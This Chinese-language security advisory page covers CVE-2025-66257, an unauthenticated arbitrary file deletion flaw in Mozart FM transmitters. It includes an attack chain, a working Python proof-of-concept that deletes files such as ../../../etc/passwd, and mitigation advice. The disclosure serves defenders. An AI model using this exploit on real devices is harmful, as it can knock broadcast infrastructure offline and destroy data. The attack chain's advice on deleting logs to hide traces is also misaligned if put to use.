IPBUF安全漏洞报告
English
CVE-2025-66257 CVSS 9.1 严重

CVE-2025-66257: DB Electronica Mozart FM Transmitter 未认证任意文件删除漏洞

披露日期: 2025-11-26
来源: b7efe717-a805-47cf-8e9a-921fca0ce0ce

漏洞信息

漏洞编号
CVE-2025-66257
漏洞类型
任意文件删除
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter

相关标签

任意文件删除未授权访问Mozart FM TransmitterDB Electronica广播设备漏洞CVE-2025-66257CVSS 9.1patch_contents.phpdeletepatch参数工业控制系统漏洞

漏洞概述

CVE-2025-66257是DB Electronica Telecomunicazioni S.p.A.生产的Mozart FM发射机产品中存在的一个严重安全漏洞。该漏洞存在于patch_contents.php文件中的deletepatch参数,允许未认证的攻击者无需任何登录凭据即可删除服务器上的任意文件。Mozart FM Transmitter是一款广泛应用于广播行业的专业调频发射设备,支持从30W到7000W的多种功率型号。由于该设备通常部署在关键的广播基础设施中,漏洞的成功利用可能导致广播服务中断,影响公共信息传播。此外,攻击者可利用此漏洞删除系统配置文件、日志文件或其他敏感数据,可能造成数据丢失或进一步的系统入侵。由于该漏洞无需认证即可利用,且CVSS评分高达9.1(严重级别),建议受影响的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于patch_contents.php文件中的deletepatch参数缺乏输入验证和访问控制。攻击者可以通过构造恶意HTTP请求,将deletepatch参数指向目标文件路径,实现任意文件删除。具体来说:1) 漏洞存在于/var/www/patch/目录下的patch_contents.php脚本中;2) deletepatch参数直接接受用户输入的文件路径,未进行路径遍历检查或权限验证;3) 攻击者可通过发送类似GET/POST请求来触发文件删除操作;4) 默认情况下,脚本运行在Web服务器权限下,可能具有删除系统关键文件的权限。攻击者通常会删除配置文件、认证文件或日志文件来进一步扩大攻击面,例如删除.htaccess文件绕过访问控制,或删除日志文件清除攻击痕迹。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Mozart FM Transmitter设备,确认其Web管理界面可访问,通常通过端口扫描发现开放的HTTP/HTTPS服务(默认8080端口)
STEP 2
步骤2: 漏洞探测
攻击者访问/var/www/patch/patch_contents.php端点,验证deletepatch参数的存在性和响应行为,确认漏洞可被利用
STEP 3
步骤3: 构造恶意请求
攻击者构造包含deletepatch参数的HTTP GET/POST请求,将参数值设为目标文件路径(如../../../etc/passwd或配置文件路径)
STEP 4
步骤4: 文件删除执行
服务器端脚本在Web服务器权限下执行文件删除操作,攻击者无需任何认证即可完成删除操作
STEP 5
步骤5: 扩大攻击面
攻击者可能删除关键文件如.htaccess、认证配置、日志文件等,以实现权限提升、持久化访问或清除攻击痕迹

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66257 PoC - Mozart FM Transmitter Unauthenticated Arbitrary File Deletion Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_file_deletion(target_url, file_to_delete): """ Exploit the arbitrary file deletion vulnerability in patch_contents.php Args: target_url: Base URL of the Mozart FM Transmitter web interface file_to_delete: Path to the file to delete (relative to /var/www/patch/) Returns: bool: True if deletion appears successful, False otherwise """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/patch_contents.php" # Payload construction - the vulnerable 'deletepatch' parameter payload = { 'deletepatch': file_to_delete } print(f"[*] Target: {endpoint}") print(f"[*] File to delete: {file_to_delete}") try: # Send GET request with deletepatch parameter response = requests.get(endpoint, params=payload, verify=False, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") # Check for indicators of successful deletion if response.status_code == 200: print("[+] Request completed - file may have been deleted") return True else: print("[-] Unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python3 cve-2025-66257_poc.py <target_url> <file_to_delete>") print("Example: python3 cve-2025-66257_poc.py https://192.168.1.100 ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print("="*60) print("CVE-2025-66257 PoC - Mozart FM Transmitter") print("Unauthenticated Arbitrary File Deletion") print("="*60) exploit_file_deletion(target, file_path) if __name__ == "__main__": main()

影响范围

Mozart FM Transmitter 30
Mozart FM Transmitter 50
Mozart FM Transmitter 100
Mozart FM Transmitter 300
Mozart FM Transmitter 500
Mozart FM Transmitter 1000
Mozart FM Transmitter 2000
Mozart FM Transmitter 3000
Mozart FM Transmitter 3500
Mozart FM Transmitter 6000
Mozart FM Transmitter 7000

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络访问控制限制对设备Web管理界面的访问,仅允许受信任的管理IP访问;2) 在网络层部署防火墙或IPS规则,监控和阻止针对patch_contents.php的异常请求;3) 定期备份设备配置和重要数据,确保在遭受攻击后能够快速恢复服务;4) 考虑暂时禁用不必要的Web管理功能,只在需要时启用;5) 监控文件系统完整性,及时发现未授权的文件修改或删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表